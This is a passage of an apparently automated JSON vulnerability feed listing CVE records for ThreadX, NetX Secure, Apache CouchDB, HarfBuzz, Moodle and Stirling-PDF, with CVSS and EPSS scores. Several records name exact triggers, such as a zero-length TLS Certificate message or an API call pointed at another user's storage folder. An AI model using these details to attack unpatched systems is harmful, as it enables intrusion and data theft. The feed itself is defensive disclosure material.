score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95107","cveId":"CVE-2026-95107","aliases":[],"kind":"vulnerability","title":"A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`.","summary":"A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`. The Module Manager adds its own 16-byte private header to that size and asked the object pool for the result **without checking the addition**. A size near the top of a `ULONG` wrapped, the pool served a block far smaller than the header, and the manager then wrote the header past the end of it and into the neighbouring byte-pool block.","detail":"A ThreadX module chooses `object_size` when it calls `txm_module_object_allocate`. The Module Manager adds its own 16-byte private header to that size and asked the object pool for the result **without checking the addition**. A size near the top of a `ULONG` wrapped, the pool served a block far smaller than the header, and the manager then wrote the header past the end of it and into the neighbouring byte-pool block.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:18.273Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95107","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00154,"percentile":0.0446,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95107","type":"primary","publishedAt":"2026-10-20T16:17:18.273Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94192","cveId":"CVE-2026-94192","aliases":[],"kind":"vulnerability","title":"A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with...","summary":"A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with `txm_module_object_deallocate`. The manager released it whatever was in it, including a control block the kernel was still using. Deallocation is not deletion: the object stays on the created list for its type, a thread stays wherever it was on the ready or suspension lists and stays schedulable, and an active timer stays on the timer list. The byte pool is meanwhile free to hand those same bytes to the next allocation.","detail":"A ThreadX module allocates the control blocks of its kernel objects from the Module Manager's object pool, and can ask for that memory back by address with `txm_module_object_deallocate`. The manager released it whatever was in it, including a control block the kernel was still using. Deallocation is not deletion: the object stays on the created list for its type, a thread stays wherever it was on the ready or suspension lists and stays schedulable, and an active timer stays on the timer list. The byte pool is meanwhile free to hand those same bytes to the next allocation.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:18.030Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94192","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00147,"percentile":0.03912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94192&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94192","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94192","type":"primary","publishedAt":"2026-10-20T16:17:18.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94192&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94192, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94018","cveId":"CVE-2026-94018","aliases":[],"kind":"vulnerability","title":"The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request.","summary":"The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request. The condition is reachable by an unauthenticated remote client with a single malformed request.","detail":"The Web add-on's HTTP server dereferences and releases an uninitialized pointer when it detects a `Content-Length` underflow while processing a `PUT` request. The condition is reachable by an unauthenticated remote client with a single malformed request.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:17.643Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94018","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00395,"percentile":0.33478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94018","type":"primary","publishedAt":"2026-10-20T16:17:17.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92853","cveId":"CVE-2026-92853","aliases":[],"kind":"vulnerability","title":"The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip.","summary":"The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip. A zero-length Certificate message therefore wraps the unsigned length to `0xFFFFFFFF`, which makes the bounds check that follows vacuous and sends the parser reading past the session packet buffer.\n\n\n\nThe trigger is a four-byte handshake header and requires no cryptographic validity. It is reachable pre-authentication.","detail":"The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip. A zero-length Certificate message therefore wraps the unsigned length to `0xFFFFFFFF`, which makes the bounds check that follows vacuous and sends the parser reading past the session packet buffer.\n\n\n\nThe trigger is a four-byte handshake header and requires no cryptographic validity. It is reachable pre-authentication.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:17.277Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92853","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00297,"percentile":0.22154,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92853&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92853","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92853","type":"primary","publishedAt":"2026-10-20T16:17:17.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92853&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92853, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92843","cveId":"CVE-2026-92843","aliases":[],"kind":"vulnerability","title":"A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap...","summary":"A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap out-of-bounds read in any peer that processes a remote Certificate message. It is reachable pre-authentication, during the normal handshake, before certificate verification completes.","detail":"A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap out-of-bounds read in any peer that processes a remote Certificate message. It is reachable pre-authentication, during the normal handshake, before certificate verification completes.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:17.153Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92843","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00297,"percentile":0.22154,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92843","type":"primary","publishedAt":"2026-10-20T16:17:17.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90800","cveId":"CVE-2026-90800","aliases":[],"kind":"vulnerability","title":"Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database...","summary":"Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database via an unauthorised API endpoint.\n\n\nThe use of prefixed system databases is very rare.\n\nUsers are recommended to upgrade to version 3.5.3, which fixes this issue.","detail":"Missing authorisation checks in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any request to read the full contents of a prefixed _user or _replicator database via an unauthorised API endpoint.\n\n\nThe use of prefixed system databases is very rare.\n\nUsers are recommended to upgrade to version 3.5.3, which fixes this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:16.033Z","updatedAt":"2026-10-20T19:34:00.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:M/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90800","asOf":"2026-10-20T19:34:00.700Z"},"epss":{"probability":0.00633,"percentile":0.50037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90800&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90800","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90800","type":"primary","publishedAt":"2026-10-20T16:17:16.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90800&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90800, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-90797","cveId":"CVE-2026-90797","aliases":[],"kind":"vulnerability","title":"An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion.","summary":"An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion.\nUsers are recommended to upgrade to version 3.5.3, which fixes this issue.","detail":"An unlimited gzip decompression routine in chttpd in Apache CouchDB 3.5.2 and below on all platforms allows any remote client to cause a denial of service via memory exhaustion.\nUsers are recommended to upgrade to version 3.5.3, which fixes this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:15.643Z","updatedAt":"2026-10-20T19:34:00.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:D/RE:M/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-90797","asOf":"2026-10-20T19:34:00.700Z"},"epss":{"probability":0.00669,"percentile":0.51666,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-90797&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-90797","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-90797","type":"primary","publishedAt":"2026-10-20T16:17:15.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-90797&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-90797, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113679","cveId":"CVE-2026-113679","aliases":[],"kind":"vulnerability","title":"HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR...","summary":"HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR signature. Attackers can supply a crafted font whose wasm module places the output buffer near linear memory's end, writing glyph-name bytes into host memory to crash or corrupt applications.","detail":"HarfBuzz 8.0.0 through 14.6.0 contains an out-of-bounds write vulnerability in the experimental WebAssembly shaper because the font_glyph_to_string import has a wrong WAMR signature. Attackers can supply a crafted font whose wasm module places the output buffer near linear memory's end, writing glyph-name bytes into host memory to crash or corrupt applications.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:12.770Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113679","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00169,"percentile":0.06219,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113679&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113679","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113679","type":"primary","publishedAt":"2026-10-20T16:17:12.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113679&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113679, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113607","cveId":"CVE-2026-113607","aliases":[],"kind":"vulnerability","title":"Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the...","summary":"Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the block_configurable_reports_get_report_data web service. When check_permissions fails, the function only adds a warning and still returns the full report table, letting any logged-in user supply arbitrary report ids to read SQL reports over user and grade data.","detail":"Configurable Reports block for Moodle before 5.3.0 contains an authorization bypass vulnerability that allows authenticated users to read restricted reports through the block_configurable_reports_get_report_data web service. When check_permissions fails, the function only adds a warning and still returns the full report table, letting any logged-in user supply arbitrary report ids to read SQL reports over user and grade data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:10.830Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113607","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00424,"percentile":0.36412,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113607&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113607","type":"primary","publishedAt":"2026-10-20T16:17:10.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113607&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113607, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113606","cveId":"CVE-2026-113606","aliases":[],"kind":"vulnerability","title":"Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder...","summary":"Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder at the server storage directory. Attackers can create a folder via POST /api/v1/processing-folders targeting storage/<victimUserId>, list files, and run pipelines to read, modify, or destroy victims' files.","detail":"Stirling-PDF 3.0.0 through 3.2.0 contains an authorization bypass vulnerability that allows authenticated users to access other users' stored files by pointing a processing folder at the server storage directory. Attackers can create a folder via POST /api/v1/processing-folders targeting storage/<victimUserId>, list files, and run pipelines to read, modify, or destroy victims' files.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:10.623Z","updatedAt":"2026-10-23T02:16:55.600Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113606","asOf":"2026-10-23T02:16:55.600Z"},"epss":{"probability":0.00364,"percentile":0.29901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113606&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113606","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113606","type":"primary","publishedAt":"2026-10-20T16:17:10.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113606&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113606, scored 2026-10-25. This is a model estimate, not proof of 